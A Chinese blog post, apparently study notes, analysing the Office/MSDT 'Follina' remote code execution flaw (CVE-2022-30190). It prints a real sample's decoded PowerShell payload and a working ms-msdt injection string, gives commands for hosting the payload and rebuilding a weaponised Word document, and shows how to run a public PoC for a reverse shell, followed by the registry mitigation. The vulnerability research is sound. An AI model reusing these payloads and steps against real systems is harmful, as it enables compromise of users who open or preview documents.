CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞

CVE-2022-30190

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

在微软官方的介绍里,是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第1张图片

意思是恶意 Word 文档可以使用远程模板功能从远程服务器获取 HTML 文件,并且 HTML 代码可以使用 Microsoft 的 MS-MSDT URI 协议方案来加载其他代码并执行 PowerShell 代码

与其他的漏洞不同,要利用此漏洞,攻击者只需要用户打开恶意文档即可,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码

我在ANY.RUN上下载了样例和漏洞代码来进行分析

https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

这是一个交互式恶意软件分析沙箱,我做恶意软件分析常用的网站

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第2张图片

我将样例放到linux机子上来进行分析,上面说过,这个漏洞是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,也就是文档的xml文件从外部引用了一个链接,然后执行了恶意代码

我们使用unzip命令解压word文档,来分析这个xml文件

unzip 05-2022-0438.doc

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第3张图片

漏洞利用就发生在这个xml文件里,我们打开分析

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第4张图片

在这里对外部文件进行了引用,我们在ANY.RUN上查看这个被引用文件的源代码

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第5张图片

该HTML文档以脚本标签开头,代码为

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第6张图片

代码分析:

window.location.href:设置了一个窗口
ms-msdt:是windows的诊断工具
之后就是ms-msdt的一些参数,不重要

关键在于如下

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第7张图片

关于上面很多的A字符,我在文章底部会说
他调用了powershell,执行的内容经过了base64加密,我们解密看看

在这里插入图片描述

$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
启动隐藏窗口然后:
如果 msdt.exe 正在运行,则终止它
循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
将此 Base64 编码的 CAB 文件存储为1.t
解码Base64编码的CAB文件保存为1.c
将1.c CAB文件展开到当前目录,最后:
执行rgb.exe

关键就在于这,windows会毫无限制的盲目执行这个powershell,如果我们修改成想执行的代码,就会导致远程代码执行漏洞

漏洞利用的办法很简单,我们只需要修改一下这个xml文件,让他引用我们网站上的恶意代码就好了

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第8张图片

漏洞利用

这里我们弹一个计算器

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";
在 IT_BrowseForFile 参数的开头至少需要两次 /../ 目录遍历
包含在 $() 中的代码将通过 PowerShell 执行
.exe”必须是出现在 IT_BrowseForFile 参数末尾的最后一个字符串

然后将内容放入html文件里

在这里插入图片描述

注意,apache需要开启ssl,不然就无法成功复现

https://techexpert.tips/zh-hans/apache-zh-hans/%E5%9C%A8-apache-%E4%B8%8A%E5%90%AF%E7%94%A8-https/

开启apache服务后,将此文件放到网站根目录上

service apache2 start
cp RDF842l.html /var/www/html

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第9张图片

然后将xml里的外部引用改成我们网站

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第10张图片

修改好后,我们将解压再压缩回去

zip -r /home/kali/cve-2022-30190/shell.doc word/* _rels/* _rels/ _rels/.rels \[Content_Types\].xml

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第11张图片
CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第12张图片

然后复制到目标靶机上双击执行

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第13张图片
CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第14张图片

成功弹出计算器,上面说过,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码

我们将恶意文件另存为RTF文件

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第15张图片
然后我ctrl+A全选了一下文件

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第16张图片

成功弹出计算器

POC利用

poc下载:

https://github.com/JohnHammond/msdt-follina

输入以下参数可以获取shell

python3 follina.py -r 4444

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第17张图片

他会在这个poc的目录里生成一个follina.doc文档,我们下载他,然后放到靶机上执行

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第18张图片

成功拿到shell

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第19张图片

漏洞修复

运行cmd执行以下两条命令

reg export HKEY_CLASSES_ROOT\ms-msdt filename
reg delete HKEY_CLASSES_ROOT\ms-msdt /f

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第20张图片

再次执行恶意文件

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第21张图片

已无法弹出计算器

总结

此文章是对该漏洞学习与分析的笔记,学到了很多,关于此漏洞,他和cve-2021-40444很像,网站脚本上的4096个A,其实是使windows诊断工具的缓冲区大小,我们正常运行的话,是需要我们输入密码的,如果超过了程序的缓冲区大小,就会执行微软发布的官方安全更新中的代码

CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞_第22张图片

之后有空就写一篇CVE-2021-40444的分析和复现

你可能感兴趣的:(cve,安全,网络安全,经验分享,cve)